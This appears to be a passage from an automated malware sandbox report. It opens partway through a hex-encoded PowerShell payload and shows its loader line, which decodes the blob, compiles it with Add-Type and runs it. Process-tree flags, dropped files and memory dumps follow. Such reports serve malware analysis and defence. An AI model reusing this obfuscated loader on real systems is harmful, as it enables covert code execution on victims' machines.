92b561c61421444005a50070150535f4a0e030e524c0d5d0a570e05574e4d5e060350574a1a5a0803055057080e02015655570158070155505108580104565356594a181f5d0d04100a530e5053540f550c7f0810324c1a1f6c03160d11135659120b42575005055f5d500315647f0810324c1a11515057500a5519632f0a16681c431f535f17510645160e065b0b5e07025b5459510e1917075755010b1954045c540f5e061a0152510a5a1d061e505214074442460c00015b0700524d4b430f5e4209440d005c020f5f5659452a4842033f3f180e005055075f43584905574852400e571a561c5b08150a7f0810324c1a114c02005b0e557c5714170a59041f770a080d5b20765a0906035440021f5d29034a1b59570a4a215718481e0055040b0b1d064a1e065c51071a554d594e5b095000525110065441462d0c4c3845444e0600005e0600514a3657215f4250504a1143014e5654535a411d4c02005b0e44021f5d0b5a0c5b080f545e426f0d53750a0d07561c11505055570e555f531144355d0a725a0f010c4c40180d151010510656160e50070b5f0c7308120b4a075f5b030a16162f5442200b0e5c0d436607100a102d5f400f160d56055458124a31480d525f07082457045553144a2348185d5f05051651075f720710031143136a3a13010b5b0304444f170e5f0400554c400c5e04025201520b4a180d0052530d5e1f7209130c54075052200d0e5d4044005151540b4013065650570c5a00005301565c5906035f54530859050e53515759580002505452085e050e5351570f5809025151560d59050f5307570d5801035e545a085a050e565553595d55144f480a0c0d02014f5f324a0752531517314c0943422f0a045748530e5f50030f555f531144324a0752531517314c0943422f0a0457405902035755115361440907074b1b1f651205104c40530e5f50030f410a440310174a0611065d19124d0a5d5f0544114c09455f0544114c1a58580144170e5f0400554c114c1a58580144145d0b0302514d194b1c435f080342560b53570759405059075002065a1a534242140d0c5f4849520300035e556242140d0c5f46745b16101b030e5e444e0d0c4c48580b565f0b041e54555450551624545801100a03011a0b544d195a1145534616040a50050b250b0c4e0d434248300d7a1145534e12075b5a05014837175a1b45440f0a0510011d044f48530e410a4e020106590e1a0b4e070a591a181e140250005c1168460a015a09506d4e0d4d0a411113460a015a0950182a010c5f1c596b4f5f1f4a0d4543140a42400c54520702594515'; $o67cb42 = u67563($o67cb4); Add-Type -TypeDefinition $o67cb42; [n37bb7b]::q354b7();
2⤵
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Process spawned unexpected child process
PID:1212

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zfpll1iw\zfpll1iw.cmdline"
3⤵
- Suspicious use of WriteProcessMemory
PID:1316

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD48E.tmp" "c:\Users\Admin\AppData\Local\Temp\zfpll1iw\CSCDF59BC32B8D40259E1DFDA58ADEDA69.TMP"
4⤵
PID:1980

C:\Program Files\Microsoft Office\Office14\excelcnv.exe
"C:\Program Files\Microsoft Office\Office14\excelcnv.exe" -Embedding
1⤵
PID:1424

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\RESD44E.tmp

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESD46D.tmp

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESD48D.tmp

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESD48E.tmp

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESD48F.tmp

Download Submit
C:\Users\Admin\AppData\Local\Temp\sjruvkjm\sjruvkjm.dll

Download Submit
C:\Users\Admin\AppData\Local\Temp\v4kjbsfi\v4kjbsfi.dll

Download Submit
C:\Users\Admin\AppData\Local\Temp\yub3psxh\yub3psxh.dll

Download Submit
C:\Users\Admin\AppData\Local\Temp\z2lci2om\z2lci2om.dll

Download Submit
C:\Users\Admin\AppData\Local\Temp\zfpll1iw\zfpll1iw.dll

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\sjruvkjm\CSC311FE7EE8C8F477FABF58332C45C3FD.TMP

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\sjruvkjm\sjruvkjm.0.cs

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\sjruvkjm\sjruvkjm.cmdline

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\v4kjbsfi\CSC4808152BCE242B8AF12864CE184F6F1.TMP

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\v4kjbsfi\v4kjbsfi.0.cs

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\v4kjbsfi\v4kjbsfi.cmdline

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\yub3psxh\CSC69180E8892DA4F8BA7B0D2889CC8ED47.TMP

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\yub3psxh\yub3psxh.0.cs

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\yub3psxh\yub3psxh.cmdline

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\z2lci2om\CSC5F11DD37DDFC406D817188B2E3B88C62.TMP

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\z2lci2om\z2lci2om.0.cs

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\z2lci2om\z2lci2om.cmdline

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\zfpll1iw\CSCDF59BC32B8D40259E1DFDA58ADEDA69.TMP

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\zfpll1iw\zfpll1iw.0.cs

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\zfpll1iw\zfpll1iw.cmdline

Download Submit
memory/924-11-0x0000000005D30000-0x0000000005E30000-memory.dmp

Filesize
1024KB

Download
memory/924-10-0x0000000005D30000-0x0000000005E30000-memory.dmp

Filesize
1024KB

Download
memory/1424-48-0x0000000005D00000-0x0000000005D04000-memory.dmp

Filesize
16KB

Download
memory/1424-25-0x0000000006D00000-0x0000000006D04000-memory.dmp

Filesize
16KB

Download
memory/1424-37-0x0000000006D00000-0x0000000006D04000-memory.dmp

Filesize
16KB

Download
memory/1424-34-0x0000000006D00000-0x0000000006D04000-memory.dmp

Filesize
16KB

Download
memory/1424-31-0x0000000006D00000-0x0000000006D04000-memory.dmp

Filesize
16KB

Download
memory/1424-28-0x0000000006D00000-0x0000000006D04000-memory.dmp

Filesize
16KB

Download
memory/1472-19-0x0000000000492000-0x0000000000496000-memory.dmp

Filesize
16KB

Download
memory/1472-22-0x00000000047C0000-0x00000000047CD000-memory.dmp

Filesize
52KB

Download
memory/1652-14-0x0000000006140000-0x0000000006240000-memory.dmp

Filesize
1024KB

Download
memory/1652-15-0x0000000006140000-0x0000000006240000-memory.dmp

Filesize
1024KB

Download
memory/1652-18-0x00000000047F0000-0x00000000047FB000-memory.dmp

Filesize
44KB

Download
memory/1856-33-0x00000000061C0000-0x00000000061C4000-memory.dmp

Filesize
16KB

Download
memory/1856-26-0x00000000048B0000-0x00000000048B4000-memory.dmp

Filesize
16KB

Download
memory/1856-27-0x00000000061C0000-0x00000000061C4000-memory.dmp

Filesize
16KB

Download
memory/1856-30-0x00000000061C0000-0x00000000061C4000-memory.dmp

Filesize
16KB

Download
memory/1856-36-0x00000000061C0000-0x00000000061C4000-memory.dmp

Filesize
16KB

Download
memory/1856-39-0x00000000061C0000-0x00000000061C4000-memory.dmp

Filesize
16KB

Download
memory/1924-1-0x0000000005AD0000-0x0000000005BD0000-memory.dmp

Filesize
1024KB

Download
memory/1924-3-0x0000000004760000-0x0000000004768000-memory.dmp

Filesize
32KB

Download
memory/2036-8-0x00000000048B0000-0x00000000048B9000-memory.dmp

Filesize
36KB

Download
memory/2036-5-0x0000000006160000-0x0000000006260000-memory.dmp

Filesize
1024KB

Download